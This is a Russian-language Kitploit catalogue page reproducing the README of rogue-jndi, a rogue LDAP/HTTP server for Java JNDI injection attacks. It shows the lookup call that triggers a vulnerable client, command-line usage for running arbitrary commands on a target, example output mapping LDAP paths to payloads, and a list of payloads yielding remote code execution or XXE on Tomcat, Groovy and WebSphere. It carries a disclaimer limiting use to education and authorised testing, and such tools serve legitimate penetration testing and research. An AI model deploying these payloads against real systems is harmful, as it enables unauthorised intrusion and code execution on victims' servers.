Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rogue-jndi — Вредоносный LDAP-сервер для атак с внедрением JNDI | Kitploit
Инструменты/GitHubGitHub/veracode-research/rogue-jndi
ЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubveracode-research/rogue-jndi

rogue-jndi

Вредоносный LDAP-сервер для атак с внедрением JNDI

Репозиторий
1.1k2272 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Rogue JNDI

Вредоносный LDAP-сервер для атак с JNDI-инъекциями.

Описание

Проект содержит LDAP- и HTTP-серверы для эксплуатации небезопасного по умолчанию Java JNDI API.
Для выполнения атаки вы можете запустить эти серверы локально, а затем вызвать разрешение JNDI на уязвимом клиенте, например:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Это инициирует соединение от уязвимого клиента к локальному LDAP-серверу. Затем локальный сервер отвечает вредоносной записью, содержащей одну из полезных нагрузок (payload), которая может быть полезна для достижения удалённого выполнения кода.

Мотивация

В дополнение к известным методам JNDI-атак (через удалённую загрузку классов в ссылках) этот инструмент предлагает новые векторы атак, используя возможности ObjectFactories.

Поддерживаемые полезные нагрузки

  • RemoteReference.java - классическая JNDI-атака, приводит к RCE через удалённую загрузку классов, работает вплоть до jdk8u191
  • Tomcat.java - приводит к RCE через небезопасную рефлексию в org.apache.naming.factory.BeanFactory
  • Groovy.java - приводит к RCE через небезопасную рефлексию в org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java - приводит к OOB XXE в com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - приводит к RCE через манипуляцию classpath в com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

Использование

root@kitploit:~
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

Наиболее важные параметры — это hostname LDAP-сервера (-n, должен быть доступен с целевой машины) и команда, которую вы хотите выполнить на целевом сервере (-c).

В качестве альтернативы опции "-c" вы можете изменить файл ExportObject.java, поместив в него Java-код, который хотите выполнить на целевом сервере.

Пример:

root@kitploit:~
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

Сборка

Требуются Java v1.7+ и Maven v3+

root@kitploit:~
mvn package

Дисклеймер

Это программное обеспечение предоставляется исключительно в образовательных целях и/или для тестирования систем, на атаку которых у пользователя есть предварительное разрешение.

Особая благодарность

  • Alvaro Muñoz и Oleksandr Mirosh за отличный whitepaper по JNDI-атакам
  • @zerothoughts за вдохновляющий репозиторий spring-jndi
  • Moritz Bechler за выдающееся исследование marshallsec
  • Orange Tsai и Welk1n за гаджет Apache + Groovy

Ссылки

  • Статья об эксплуатации JNDI-инъекций в Java в блоге Veracode
  • Как я снова взломал Facebook! RCE без аутентификации на MobileIron MDM

Авторы

Michael Stepankin

Скачать инструмент